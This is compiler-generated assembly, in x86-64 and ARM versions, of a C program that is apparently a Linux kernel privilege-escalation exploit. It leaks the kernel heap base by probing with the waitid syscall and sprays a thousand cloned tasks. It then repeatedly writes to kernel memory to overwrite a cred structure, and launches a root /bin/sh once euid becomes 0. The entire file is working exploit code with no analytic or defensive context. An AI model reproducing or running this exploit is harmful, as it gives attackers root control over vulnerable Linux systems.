	.file	"138558.c"
	.intel_syntax noprefix
	.text
	.globl	status
	.bss
	.align 4
	.type	status, @object
	.size	status, 4
status:
	.zero	4
	.section	.rodata
	.align 8
.LC0:
	.string	"[+] Found kernel heap base: 0x%lx\n"
	.text
	.globl	get_kernel_heap_base
	.type	get_kernel_heap_base, @function
get_kernel_heap_base:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 32
	movabs	rax, -281474976710656
	mov	QWORD PTR -16[rbp], rax
	mov	QWORD PTR -8[rbp], 268435456
	mov	rax, QWORD PTR -16[rbp]
	mov	QWORD PTR -24[rbp], rax
	jmp	.L2
.L5:
	mov	rax, QWORD PTR -24[rbp]
	mov	r9d, 0
	mov	r8d, 4
	mov	rcx, rax
	mov	edx, 0
	mov	esi, 0
	mov	edi, 247
	mov	eax, 0
	call	syscall@PLT
	call	__errno_location@PLT
	mov	eax, DWORD PTR [rax]
	cmp	eax, 14
	je	.L3
	mov	rax, QWORD PTR -24[rbp]
	mov	rsi, rax
	lea	rdi, .LC0[rip]
	mov	eax, 0
	call	printf@PLT
	mov	rax, QWORD PTR -24[rbp]
	jmp	.L4
.L3:
	mov	rax, QWORD PTR -8[rbp]
	add	QWORD PTR -24[rbp], rax
.L2:
	cmp	QWORD PTR -24[rbp], 0
	jne	.L5
	mov	eax, 0
.L4:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE6:
	.size	get_kernel_heap_base, .-get_kernel_heap_base
	.section	.rodata
.LC1:
	.string	"\n[+] Got euid = 0!"
.LC2:
	.string	"[+] Notifying clones..."
.LC3:
	.string	"[+] euid: %d, uid: %d\n"
.LC4:
	.string	"/bin/sh"
	.text
	.globl	get_shell
	.type	get_shell, @function
get_shell:
.LFB7:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	rbx
	sub	rsp, 8
	.cfi_offset 3, -24
	jmp	.L7
.L8:
	mov	edi, 100000
	call	usleep@PLT
	mov	eax, DWORD PTR status[rip]
	test	eax, eax
	jne	.L7
	mov	edi, 10000
	call	sleep@PLT
.L7:
	call	geteuid@PLT
	test	eax, eax
	jne	.L8
	lea	rdi, .LC1[rip]
	call	puts@PLT
	lea	rdi, .LC2[rip]
	call	puts@PLT
	mov	DWORD PTR status[rip], 0
	mov	esi, 0
	mov	edi, 0
	call	setreuid@PLT
	mov	edi, 0
	call	setuid@PLT
	call	getuid@PLT
	mov	ebx, eax
	call	geteuid@PLT
	mov	edx, ebx
	mov	esi, eax
	lea	rdi, .LC3[rip]
	mov	eax, 0
	call	printf@PLT
	lea	rdi, .LC4[rip]
	call	system@PLT
	mov	eax, 0
	mov	rbx, QWORD PTR -8[rbp]
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE7:
	.size	get_shell, .-get_shell
	.section	.rodata
	.align 8
.LC5:
	.string	"[-] Finding kernel heap base..."
	.align 8
.LC6:
	.string	"[!] Failed to get kernel heap base..."
.LC7:
	.string	"[-] Spraying tasks..."
.LC8:
	.string	"[!] Impossible to clone()"
	.align 8
.LC9:
	.string	"[-] Trying smash a cred struct..."
.LC10:
	.string	"\r[-] Writing to 0x%lx"
	.text
	.globl	main
	.type	main, @function
main:
.LFB8:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 4096
	or	QWORD PTR [rsp], 0
	sub	rsp, 3968
	mov	DWORD PTR -8052[rbp], edi
	mov	QWORD PTR -8064[rbp], rsi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	lea	rdx, -8016[rbp]
	mov	eax, 0
	mov	ecx, 1000
	mov	rdi, rdx
	rep stosq
	mov	rax, QWORD PTR stdout[rip]
	mov	ecx, 0
	mov	edx, 2
	mov	esi, 0
	mov	rdi, rax
	call	setvbuf@PLT
	mov	DWORD PTR status[rip], 1
	lea	rdi, .LC5[rip]
	call	puts@PLT
	mov	eax, 0
	call	get_kernel_heap_base
	mov	QWORD PTR -8024[rbp], rax
	cmp	QWORD PTR -8024[rbp], 0
	jne	.L11
	lea	rdi, .LC6[rip]
	call	puts@PLT
	mov	eax, 0
	jmp	.L21
.L11:
	lea	rdi, .LC7[rip]
	call	puts@PLT
	mov	DWORD PTR -8044[rbp], 0
	jmp	.L13
.L15:
	mov	edi, 65536
	call	malloc@PLT
	mov	rdx, rax
	mov	eax, DWORD PTR -8044[rbp]
	cdqe
	mov	QWORD PTR -8016[rbp+rax*8], rdx
	mov	eax, DWORD PTR -8044[rbp]
	cdqe
	mov	rax, QWORD PTR -8016[rbp+rax*8]
	mov	ecx, 0
	mov	edx, 273
	mov	rsi, rax
	lea	rdi, get_shell[rip]
	mov	eax, 0
	call	clone@PLT
	mov	DWORD PTR -8036[rbp], eax
	cmp	DWORD PTR -8036[rbp], -1
	jne	.L14
	lea	rdi, .LC8[rip]
	call	perror@PLT
	mov	eax, 1
	jmp	.L21
.L14:
	add	DWORD PTR -8044[rbp], 1
.L13:
	cmp	DWORD PTR -8044[rbp], 999
	jle	.L15
	lea	rdi, .LC9[rip]
	call	puts@PLT
	mov	rax, QWORD PTR -8024[rbp]
	add	rax, 994058260
	mov	QWORD PTR -8032[rbp], rax
	jmp	.L16
.L18:
	mov	rax, QWORD PTR -8032[rbp]
	mov	rsi, rax
	lea	rdi, .LC10[rip]
	mov	eax, 0
	call	printf@PLT
	mov	rax, QWORD PTR -8032[rbp]
	mov	r9d, 0
	mov	r8d, 536870917
	mov	rcx, rax
	mov	edx, 0
	mov	esi, 0
	mov	edi, 247
	mov	eax, 0
	call	syscall@PLT
	mov	edi, 100000
	call	usleep@PLT
	add	QWORD PTR -8032[rbp], 4096
.L16:
	cmp	QWORD PTR -8032[rbp], -1048577
	ja	.L17
	mov	eax, DWORD PTR status[rip]
	test	eax, eax
	jne	.L18
.L17:
	mov	DWORD PTR -8040[rbp], 0
	jmp	.L19
.L20:
	mov	edi, 0
	call	wait@PLT
	mov	eax, DWORD PTR -8040[rbp]
	cdqe
	mov	rax, QWORD PTR -8016[rbp+rax*8]
	mov	rdi, rax
	call	free@PLT
	add	DWORD PTR -8040[rbp], 1
.L19:
	cmp	DWORD PTR -8040[rbp], 999
	jle	.L20
	mov	eax, 0
.L21:
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L22
	call	__stack_chk_fail@PLT
.L22:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE8:
	.size	main, .-main
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"138558.c"
	.text
	.comm	status,4,4
	.section	.rodata
	.align	2
.LC0:
	.ascii	"[+] Found kernel heap base: 0x%lx\012\000"
	.text
	.align	2
	.global	get_kernel_heap_base
	.syntax unified
	.arm
	.fpu softvfp
	.type	get_kernel_heap_base, %function
get_kernel_heap_base:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #24
	mov	r3, #0
	str	r3, [fp, #-12]
	mov	r3, #268435456
	str	r3, [fp, #-8]
	ldr	r3, [fp, #-12]
	str	r3, [fp, #-16]
	b	.L2
.L5:
	mov	r3, #0
	str	r3, [sp, #4]
	mov	r3, #4
	str	r3, [sp]
	ldr	r3, [fp, #-16]
	mov	r2, #0
	mov	r1, #0
	mov	r0, #280
	bl	syscall
	bl	__errno_location
	mov	r3, r0
	ldr	r3, [r3]
	cmp	r3, #14
	beq	.L3
	ldr	r1, [fp, #-16]
	ldr	r0, .L6
	bl	printf
	ldr	r3, [fp, #-16]
	b	.L4
.L3:
	ldr	r2, [fp, #-16]
	ldr	r3, [fp, #-8]
	add	r3, r2, r3
	str	r3, [fp, #-16]
.L2:
	ldr	r3, [fp, #-16]
	cmp	r3, #0
	bne	.L5
	mov	r3, #0
.L4:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L7:
	.align	2
.L6:
	.word	.LC0
	.size	get_kernel_heap_base, .-get_kernel_heap_base
	.section	.rodata
	.align	2
.LC1:
	.ascii	"\012[+] Got euid = 0!\000"
	.align	2
.LC2:
	.ascii	"[+] Notifying clones...\000"
	.align	2
.LC3:
	.ascii	"[+] euid: %d, uid: %d\012\000"
	.align	2
.LC4:
	.ascii	"/bin/sh\000"
	.text
	.align	2
	.global	get_shell
	.syntax unified
	.arm
	.fpu softvfp
	.type	get_shell, %function
get_shell:
	@ args = 0, pretend = 0, frame = 0
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, r5, fp, lr}
	add	fp, sp, #12
	b	.L9
.L10:
	ldr	r0, .L12
	bl	usleep
	ldr	r3, .L12+4
	ldr	r3, [r3]
	cmp	r3, #0
	bne	.L9
	ldr	r0, .L12+8
	bl	sleep
.L9:
	bl	geteuid
	mov	r3, r0
	cmp	r3, #0
	bne	.L10
	ldr	r0, .L12+12
	bl	puts
	ldr	r0, .L12+16
	bl	puts
	ldr	r3, .L12+4
	mov	r2, #0
	str	r2, [r3]
	mov	r1, #0
	mov	r0, #0
	bl	setreuid
	mov	r0, #0
	bl	setuid
	bl	geteuid
	mov	r4, r0
	bl	getuid
	mov	r3, r0
	mov	r2, r3
	mov	r1, r4
	ldr	r0, .L12+20
	bl	printf
	ldr	r0, .L12+24
	bl	system
	mov	r3, #0
	mov	r0, r3
	pop	{r4, r5, fp, pc}
.L13:
	.align	2
.L12:
	.word	100000
	.word	status
	.word	10000
	.word	.LC1
	.word	.LC2
	.word	.LC3
	.word	.LC4
	.size	get_shell, .-get_shell
	.section	.rodata
	.align	2
.LC5:
	.ascii	"[-] Finding kernel heap base...\000"
	.align	2
.LC6:
	.ascii	"[!] Failed to get kernel heap base...\000"
	.align	2
.LC7:
	.ascii	"[-] Spraying tasks...\000"
	.align	2
.LC8:
	.ascii	"[!] Impossible to clone()\000"
	.align	2
.LC9:
	.ascii	"[-] Trying smash a cred struct...\000"
	.align	2
.LC10:
	.ascii	"\015[-] Writing to 0x%lx\000"
	.align	2
.LC11:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 4032
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #4032
	sub	sp, sp, #8
	str	r0, [fp, #-4032]
	str	r1, [fp, #-4036]
	ldr	r3, .L27
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	sub	r3, fp, #4000
	sub	r3, r3, #4
	sub	r3, r3, #4
	mov	r2, #4000
	mov	r1, #0
	mov	r0, r3
	bl	memset
	ldr	r3, .L27+4
	ldr	r0, [r3]
	mov	r3, #0
	mov	r2, #2
	mov	r1, #0
	bl	setvbuf
	ldr	r3, .L27+8
	mov	r2, #1
	str	r2, [r3]
	ldr	r0, .L27+12
	bl	puts
	bl	get_kernel_heap_base
	str	r0, [fp, #-4016]
	ldr	r3, [fp, #-4016]
	cmp	r3, #0
	bne	.L15
	ldr	r0, .L27+16
	bl	puts
	mov	r3, #0
	b	.L25
.L15:
	ldr	r0, .L27+20
	bl	puts
	mov	r3, #0
	str	r3, [fp, #-4028]
	b	.L17
.L19:
	mov	r0, #65536
	bl	malloc
	mov	r3, r0
	mov	r2, r3
	ldr	r3, [fp, #-4028]
	lsl	r3, r3, #2
	sub	r1, fp, #4
	add	r3, r1, r3
	str	r2, [r3, #-4004]
	ldr	r3, [fp, #-4028]
	lsl	r3, r3, #2
	sub	r2, fp, #4
	add	r3, r2, r3
	ldr	r1, [r3, #-4004]
	mov	r3, #0
	ldr	r2, .L27+24
	ldr	r0, .L27+28
	bl	clone
	str	r0, [fp, #-4012]
	ldr	r3, [fp, #-4012]
	cmn	r3, #1
	bne	.L18
	ldr	r0, .L27+32
	bl	perror
	mov	r3, #1
	b	.L25
.L18:
	ldr	r3, [fp, #-4028]
	add	r3, r3, #1
	str	r3, [fp, #-4028]
.L17:
	ldr	r3, [fp, #-4028]
	cmp	r3, #1000
	blt	.L19
	ldr	r0, .L27+36
	bl	puts
	ldr	r2, [fp, #-4016]
	ldr	r3, .L27+40
	add	r3, r2, r3
	str	r3, [fp, #-4024]
	b	.L20
.L22:
	ldr	r1, [fp, #-4024]
	ldr	r0, .L27+44
	bl	printf
	mov	r3, #0
	str	r3, [sp, #4]
	mov	r3, #536870917
	str	r3, [sp]
	ldr	r3, [fp, #-4024]
	mov	r2, #0
	mov	r1, #0
	mov	r0, #280
	bl	syscall
	ldr	r0, .L27+48
	bl	usleep
	ldr	r3, [fp, #-4024]
	add	r3, r3, #4096
	str	r3, [fp, #-4024]
.L20:
	ldr	r3, [fp, #-4024]
	cmn	r3, #1048576
	bcs	.L21
	ldr	r3, .L27+8
	ldr	r3, [r3]
	cmp	r3, #0
	bne	.L22
.L21:
	mov	r3, #0
	str	r3, [fp, #-4020]
	b	.L23
.L24:
	mov	r0, #0
	bl	wait
	ldr	r3, [fp, #-4020]
	lsl	r3, r3, #2
	sub	r2, fp, #4
	add	r3, r2, r3
	ldr	r3, [r3, #-4004]
	mov	r0, r3
	bl	free
	ldr	r3, [fp, #-4020]
	add	r3, r3, #1
	str	r3, [fp, #-4020]
.L23:
	ldr	r3, [fp, #-4020]
	cmp	r3, #1000
	blt	.L24
	mov	r3, #0
.L25:
	ldr	r2, .L27
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L26
	bl	__stack_chk_fail
.L26:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L28:
	.align	2
.L27:
	.word	.LC11
	.word	stdout
	.word	status
	.word	.LC5
	.word	.LC6
	.word	.LC7
	.word	273
	.word	get_shell
	.word	.LC8
	.word	.LC9
	.word	994058260
	.word	.LC10
	.word	100000
	.size	main, .-main
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
